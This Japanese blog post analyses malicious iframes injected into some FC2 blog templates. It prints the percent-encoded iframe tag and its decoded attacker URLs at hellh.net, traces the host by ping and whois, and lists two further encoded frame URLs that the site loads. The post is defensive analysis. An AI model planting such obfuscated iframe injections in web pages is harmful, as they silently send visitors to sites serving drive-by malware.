いくつかのFC2ブログのテンプレートにまたiframe(インラインフレーム)が仕掛けられていたそうです。サイズ指定は省略します。
<iframe src="http://%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/"></iframe> |
今回はエンコードされています。
%〜というのは16進数で、ASCII(文字コード)を意味しています。
たとえば以下は同じGoogleにアクセスします。
http://www.google.co.jp/http://%77%77%77%2e%67%6f%6f%67%6c%65%2e%63%6f%2e%6a%70/文字コード表とにらめっこしてもツールを使ってもかまいませんが、URI Decoderなどで検索してコピペするのが楽でしょう。
<iframe src="http://www.hellh.net/"></iframe> |
pingを飛ばすとdda3.netと同じホストとわかります。
もう結果はわかっていますがとりあえずwhoisします。
Creation Date: | 2008-03-08 |
Country: | China |
フレームの構成はdda3.netとあまりかわりません。
Default.htmがiframeで以下の2つのフレームを呼び出します。
なお、この呼び出しのiframeもエンコードされています。
http://%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/%69%6E%64%65%78%2E%68%74%6D |
http://%77%77%77%2E%68%65%6C%6C%68%2E%6E%65%74/%72%65%2E%68%74%6D |
デコードします。
http://www.hellh.net/index.htm |
http://www.hellh.net/re.htm |
続きます。
メモ:
エンコードされると面倒だ!
%21%22%23%24%25はそれぞれ!"#$%となっていて、キーボードの数字の並びと同じ! ふしぎ!
%20はブランクです。